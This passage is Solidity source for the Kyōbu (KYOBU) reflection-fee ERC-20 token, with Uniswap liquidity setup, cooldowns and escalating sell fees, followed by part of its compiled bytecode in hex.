function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract Kyobu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Kyōbu";
string private constant _symbol = "KYOBU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 7;
uint256 private _teamFee = 5;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 5;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 10;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 6;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613213565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d9a565b610418565b60405161016d91906131f8565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613395565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d4b565b610447565b6040516101d591906131f8565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b604051610200919061340a565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd6565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cbd565b61064d565b60405161027d9190613395565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf919061312a565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190613213565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d9a565b610857565b60405161032791906131f8565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e28565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d0f565b610b03565b6040516103bb9190613395565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600681526020017f4b79c58d62750000000000000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016139f460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120399092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132f5565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209d565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612198565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4b594f4255000000000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612206565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132f5565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132f5565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132b5565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061250090919063ffffffff16565b61257b90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613395565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132f5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612ce6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612ce6565b6040518363ffffffff1660e01b8152600401610de4929190613145565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612ce6565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613197565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e51565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104092919061316e565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612dff565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613355565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613275565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613395565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613335565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090613235565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390613315565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7657601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613375565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061347a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f74576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61250090919063ffffffff16565b61257b90919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e919061347a565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5290613629565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611ba9919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8990613629565b9190505550611c2042611c9c919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c90613629565b919050555061546042611d8f919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f90613629565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec2919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1281612206565b60004790506000811115611f2a57611f294761209d565b5b611f72600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c5565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202757600090505b612033848484846125ee565b50505050565b6000838311158290612081576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120789190613213565b60405180910390fd5b5060008385612090919061355b565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ed60028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612118573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216960028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612194573d6000803e3d6000fd5b5050565b60006006548211156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613255565b60405180910390fd5b60006121e961262d565b90506121fe818461257b90919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612264577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122925781602001602082028036833780820191505090505b50905030816000815181106122d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237257600080fd5b505afa158015612386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123aa9190612ce6565b816001815181106123e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244b30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124af9594939291906133b0565b600060405180830381600087803b1580156124c957600080fd5b505af11580156124dd573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125135760009050612575565b600082846125219190613501565b905082848261253091906134d0565b14612570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612567906132d5565b60405180910390fd5b809150505b92915050565b60006125bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612658565b905092915050565b806008546125d39190613501565b60088190555060018111156125eb57600a6009819055505b50565b806125fc576125fb6126bb565b5b6126078484846126ec565b806126155761261461261b565b5b50505050565b60076008819055506005600981905550565b600080600061263a6128b7565b91509150612651818361257b90919063ffffffff16565b9250505090565b6000808311829061269f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126969190613213565b60405180910390fd5b50600083856126ae91906134d0565b9050809150509392505050565b60006008541480156126cf57506000600954145b156126d9576126ea565b600060088190555060006009819055505b565b6000806000806000806126fe87612919565b95509550955095509550955061275c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283d81612a29565b6128478483612ae6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128a49190613395565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506128ed683635c9adc5dea0000060065461257b90919063ffffffff16565b82101561290c57600654683635c9adc5dea00000935093505050612915565b81819350935050505b9091565b60008060008060008060008060006129368a600854600954612b20565b925092509250600061294661262d565b905060008060006129598e878787612bb6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77